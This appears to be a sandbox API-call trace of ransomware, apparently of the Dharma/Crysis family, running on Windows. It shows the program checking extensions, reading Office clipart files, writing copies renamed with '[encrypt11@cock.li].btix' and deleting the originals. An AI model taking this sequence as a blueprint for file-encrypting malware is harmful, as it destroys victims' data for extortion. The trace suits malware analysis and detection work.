[0152.184] lstrlenW (lpString=".bz2") returned 4 [0152.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.184] lstrlenW (lpString=".7z") returned 3 [0152.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0152.184] lstrlenW (lpString=".dbf") returned 4 [0152.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0152.184] lstrlenW (lpString=".1cd") returned 4 [0152.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0152.185] lstrlenW (lpString=".jpg") returned 4 [0152.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.185] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.185] lstrlenW (lpString="J0105338.WMF") returned 12 [0152.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.185] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=11584) returned 1 [0152.185] CloseHandle (hObject=0x38c) returned 1 [0152.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 0x220 [0152.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.185] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.185] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0152.186] GetLastError () returned 0x0 [0152.186] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x2d40, lpOverlapped=0x0) returned 1 [0152.187] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0152.188] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.188] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.188] SetEndOfFile (hFile=0x390) returned 1 [0152.188] CloseHandle (hObject=0x390) returned 1 [0152.188] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.188] SetEndOfFile (hFile=0x38c) returned 1 [0152.189] CloseHandle (hObject=0x38c) returned 1 [0152.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 1 [0152.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0152.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0152.189] lstrlenW (lpString=".doc") returned 4 [0152.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.189] lstrlenW (lpString=".docx") returned 5 [0152.189] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.189] lstrlenW (lpString=".pdf") returned 4 [0152.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.190] lstrlenW (lpString=".xls") returned 4 [0152.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.190] lstrlenW (lpString=".xlsx") returned 5 [0152.190] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.190] lstrlenW (lpString=".ppt") returned 4 [0152.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0152.190] lstrlenW (lpString=".zip") returned 4 [0152.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.190] lstrlenW (lpString=".rar") returned 4 [0152.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.190] lstrlenW (lpString=".bz2") returned 4 [0152.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.190] lstrlenW (lpString=".7z") returned 3 [0152.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0152.190] lstrlenW (lpString=".dbf") returned 4 [0152.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0152.190] lstrlenW (lpString=".1cd") returned 4 [0152.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0152.190] lstrlenW (lpString=".jpg") returned 4 [0152.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0152.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0152.190] lstrlenW (lpString=".doc") returned 4 [0152.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.190] lstrlenW (lpString=".docx") returned 5 [0152.190] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.190] lstrlenW (lpString=".pdf") returned 4 [0152.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.190] lstrlenW (lpString=".xls") returned 4 [0152.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.190] lstrlenW (lpString=".xlsx") returned 5 [0152.191] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.191] lstrlenW (lpString=".ppt") returned 4 [0152.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0152.191] lstrlenW (lpString=".zip") returned 4 [0152.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.191] lstrlenW (lpString=".rar") returned 4 [0152.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.191] lstrlenW (lpString=".bz2") returned 4 [0152.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.191] lstrlenW (lpString=".7z") returned 3 [0152.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0152.191] lstrlenW (lpString=".dbf") returned 4 [0152.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0152.191] lstrlenW (lpString=".1cd") returned 4 [0152.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0152.191] lstrlenW (lpString=".jpg") returned 4 [0152.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.191] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.191] lstrlenW (lpString="J0105348.WMF") returned 12 [0152.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.191] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=17060) returned 1 [0152.191] CloseHandle (hObject=0x38c) returned 1 [0152.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 0x220 [0152.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.192] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.192] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0152.192] GetLastError () returned 0x0 [0152.192] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x42a4, lpOverlapped=0x0) returned 1 [0152.193] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x42b0, lpOverlapped=0x0) returned 1 [0152.194] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.194] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.195] SetEndOfFile (hFile=0x390) returned 1 [0152.195] CloseHandle (hObject=0x390) returned 1 [0152.195] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.195] SetEndOfFile (hFile=0x38c) returned 1 [0152.196] CloseHandle (hObject=0x38c) returned 1 [0152.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 1 [0152.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0152.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0152.196] lstrlenW (lpString=".doc") returned 4 [0152.196] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.196] lstrlenW (lpString=".docx") returned 5 [0152.196] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.196] lstrlenW (lpString=".pdf") returned 4 [0152.196] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.196] lstrlenW (lpString=".xls") returned 4 [0152.196] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.196] lstrlenW (lpString=".xlsx") returned 5 [0152.196] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.196] lstrlenW (lpString=".ppt") returned 4 [0152.196] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0152.196] lstrlenW (lpString=".zip") returned 4 [0152.196] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.196] lstrlenW (lpString=".rar") returned 4 [0152.196] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.197] lstrlenW (lpString=".bz2") returned 4 [0152.197] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.197] lstrlenW (lpString=".7z") returned 3 [0152.197] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0152.197] lstrlenW (lpString=".dbf") returned 4 [0152.197] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0152.197] lstrlenW (lpString=".1cd") returned 4 [0152.197] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0152.197] lstrlenW (lpString=".jpg") returned 4 [0152.197] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0152.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0152.197] lstrlenW (lpString=".doc") returned 4 [0152.197] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.197] lstrlenW (lpString=".docx") returned 5 [0152.197] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.197] lstrlenW (lpString=".pdf") returned 4 [0152.197] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.197] lstrlenW (lpString=".xls") returned 4 [0152.197] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.197] lstrlenW (lpString=".xlsx") returned 5 [0152.197] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.197] lstrlenW (lpString=".ppt") returned 4 [0152.197] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0152.197] lstrlenW (lpString=".zip") returned 4 [0152.197] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.197] lstrlenW (lpString=".rar") returned 4 [0152.197] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.197] lstrlenW (lpString=".bz2") returned 4 [0152.197] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.197] lstrlenW (lpString=".7z") returned 3 [0152.198] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0152.198] lstrlenW (lpString=".dbf") returned 4 [0152.198] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0152.198] lstrlenW (lpString=".1cd") returned 4 [0152.198] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0152.198] lstrlenW (lpString=".jpg") returned 4 [0152.198] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.198] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.198] lstrlenW (lpString="J0105360.WMF") returned 12 [0152.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.198] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=8860) returned 1 [0152.198] CloseHandle (hObject=0x38c) returned 1 [0152.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 0x220 [0152.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.198] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.199] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0152.199] GetLastError () returned 0x0 [0152.199] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x229c, lpOverlapped=0x0) returned 1 [0152.200] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x22a0, lpOverlapped=0x0) returned 1 [0152.201] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.201] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.201] SetEndOfFile (hFile=0x390) returned 1 [0152.201] CloseHandle (hObject=0x390) returned 1 [0152.201] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.201] SetEndOfFile (hFile=0x38c) returned 1 [0152.202] CloseHandle (hObject=0x38c) returned 1 [0152.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 1 [0152.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0152.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0152.203] lstrlenW (lpString=".doc") returned 4 [0152.203] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.203] lstrlenW (lpString=".docx") returned 5 [0152.203] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.203] lstrlenW (lpString=".pdf") returned 4 [0152.203] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.203] lstrlenW (lpString=".xls") returned 4 [0152.203] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.203] lstrlenW (lpString=".xlsx") returned 5 [0152.203] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.203] lstrlenW (lpString=".ppt") returned 4 [0152.203] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0152.203] lstrlenW (lpString=".zip") returned 4 [0152.203] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.203] lstrlenW (lpString=".rar") returned 4 [0152.203] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.203] lstrlenW (lpString=".bz2") returned 4 [0152.203] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.203] lstrlenW (lpString=".7z") returned 3 [0152.203] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0152.203] lstrlenW (lpString=".dbf") returned 4 [0152.203] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0152.203] lstrlenW (lpString=".1cd") returned 4 [0152.203] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0152.203] lstrlenW (lpString=".jpg") returned 4 [0152.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0152.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0152.204] lstrlenW (lpString=".doc") returned 4 [0152.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.204] lstrlenW (lpString=".docx") returned 5 [0152.204] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0152.204] lstrlenW (lpString=".pdf") returned 4 [0152.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.204] lstrlenW (lpString=".xls") returned 4 [0152.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.204] lstrlenW (lpString=".xlsx") returned 5 [0152.204] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0152.204] lstrlenW (lpString=".ppt") returned 4 [0152.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0152.204] lstrlenW (lpString=".zip") returned 4 [0152.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.204] lstrlenW (lpString=".rar") returned 4 [0152.204] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.204] lstrlenW (lpString=".bz2") returned 4 [0152.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.204] lstrlenW (lpString=".7z") returned 3 [0152.204] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0152.204] lstrlenW (lpString=".dbf") returned 4 [0152.204] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0152.204] lstrlenW (lpString=".1cd") returned 4 [0152.204] 